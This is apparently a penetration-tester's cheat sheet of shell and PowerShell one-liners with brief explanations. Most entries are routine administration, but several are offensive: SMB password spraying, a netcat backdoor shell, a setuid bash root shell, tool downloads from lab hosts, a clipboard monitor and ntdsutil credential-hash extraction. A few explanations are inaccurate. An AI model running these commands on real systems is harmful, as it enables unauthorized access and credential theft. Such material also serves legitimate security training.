GREENIE=haha; export GREENIE
: Creates an environment variable named GREENIE
with value haha
, then exports it to be available to other programs.
PATH=$PATH:/root/haha
: Adds the folder /root/haha
to the system PATH
environment variable while retaining the previous PATH
value.
sort | uniq -c | sort -n
: Takes stdin
, sorts it, finds out the count of each unique value, then sorts by the count value in ascending order.
cat squid_access.log | sort -k 2 | head
: Reads squid_access.log
, sorts it based on the second column, and displays the first 10 lines of the sorted output.
wc -l
: Counts the number of lines in a file or from stdin
.
wc -c
: Counts the number of bytes in a file or from stdin
.
wc -w
: Counts the number of words in a file or from stdin
.
awk '{print $1,$4}'
: Prints the first and fourth (non-zero indexed) fields from stdin
.
awk '{print $(NF-1)}'
: Prints the second to last column from stdin
.
awk '{print length, $1}'
: Prints the length of each line and the contents of the first field/column from stdin
.
awk '{ sum += $1 } END { print sum }'
: Adds up the values in the first field/column and prints the sum.
cat peptides.txt | while read line; do echo $line; done
: Reads in each line from peptides.txt
and prints it using echo
.
cat users.txt | while read i; do echo trying $i; smbmap -u '$i' -p '$i' -H 10.10.10.172; done
: Reads in each line from users.txt
and performs a password spraying attack on 10.10.10.172
using smbmap
.
for i in {1..5}; do echo $i; done
: Loops from 1 to 5 and displays the value of i
for each iteration.
for i in {000..999}; do echo KEY-HAHA-$i; done
: Creates a list of all values from KEY-HAHA-000
to KEY-HAHA-999
and displays each value.
TF=$(mktemp -d)
: Creates a temporary directory and assigns its path to an environment variable named TF
.
${#TF}
: Outputs the length of the value stored in the environment variable TF
.
sed 's/12/13/g'
: Replaces all instances of 12
with 13
in stdin
.
sed -i.bak '/line to delete/d'
: Deletes a line of text for all files in a directory.
xxd -p
: Prints the hex of stdin
or a file only, without the hexdump format.
xxd -r
: Interprets raw hex from stdin
and can save the hex to a file.
tr -d '\r' | tr -d '\n' | xxd -r -p
: Takes hex input, removes newlines, and places it into a file.
find / -user Matt 2>/dev/null
: Finds all files owned by Matt
on the system and redirects stderr
to null.
find /etc -type f --name apache2.*
: Finds any file in /etc
that begins with apache2.
.
grep -E "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9])"
: Searches for patterns that match an IP address.
curl -d "param1=value¶m2=value" https://example.com/resource.cgi
: Sends parameters with curl
.
date -d @1286536308
: Converts an epoch timestamp to a human-readable date.
mknod backpipe p; /bin/bash 0<backpipe | nc -l -p 8080 1>backpipe
: Creates a netcat backdoor without -e
support.
tar -zcvf files.tar.gz /var/log/apache2
: Creates a files.tar.gz
archive of all files in /var/log/apache2
.
prips 10.10.10.0/24
: Prints all IPs in a specific subnet.
ifconfig eth0 169.254.0.1 netmask 255.255.0.0 broadcast 169.254.255.255
: Assigns an IP address from the terminal.
ifconfig eth0 down; ifconfig eth0 hw ether 00:11:22:33:44:55; ifconfig eth0 up
: Changes the MAC address for interface eth0
.
dhclient eth0
: Requests a DHCP address on interface eth0
.
dd if=./input.file of=./outfile
: Makes a bit-by-bit copy of a file or system.
sudo ln -s /usr/bin/python3 /usr/bin/python
: Creates a symbolic link for Python to run Python 3.
sudo mkdir /mnt/new
: Creates a new directory /mnt/new
with sudo
permissions.
mount /dev/sbd1 /mnt/new
: Mounts the file system located at /dev/sbd1
to the directory /mnt/new
.
umount /dev/sdb1
: Unmounts the file system located at /dev/sdb1
.
sudo route add -net default gw 10.10.0.1 netmask 0.0.0.0 dev wlan0 metric 1
: Adds another default route with a higher metric to choose a different interface to access the Internet.
sudo dhclient wlan0
: Requests a new DHCP lease on interface wlan0
.
openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc
: Encrypts a file with a password at the command line.
openssl enc -aes-256-cbc -d -in file.txt.enc -out file.txt
: Decrypts a file using a password at the command line.
sudo chmod +s /bin/bash
<br> bash -p
: Execute the command on a machine, and if root access is lost, use "bash -p" for a root shell.
get-childitem -hidden
: Shows all hidden files in the current directory.
gci -recurse C:\ % { select-string -path $_ -pattern password} 2>$null
: Recursively searches the C: drive for files containing the word password
.
1..255 % {ping -n1 192.168.0.$_}
: Pings all IPs from 192.168.0.1
to 192.168.0.255
.
(New-Object System.Net.Webclient).DownloadFile("http://10.1.1.1:8000/nc.exe","C:\nc.exe")
: Downloads a file to the C:\
location.
certutil -hashfile ntds.dit md5
: Hashes a file using MD5.
certutil -encodehex ntds.dit ntds.hex
: Encodes a file as hexadecimal.
certutil -encode test.jpg test.base64
: Encodes a file as base64.
certutil -decode test.base64 test.jpg
: Decodes a base64-encoded file.
iwr -uri http://10.10.14.27/SharpHound.ps1 -outfile SharpHound.ps1
: Downloads a file from another machine.
$x=""; while ($true) { $y=get-clipboard -raw; if ($x -ne $y) { write-host $y; $x=$y } }
: Monitors the clipboard and prints its contents to the screen.
ntdsutil; activate instance ntds; ifm; create full C:\ntds; quit; quit;
: Uses ntdsutil
to obtain the SYSTEM
registry and hive data as a backup, containing user hashes to crack.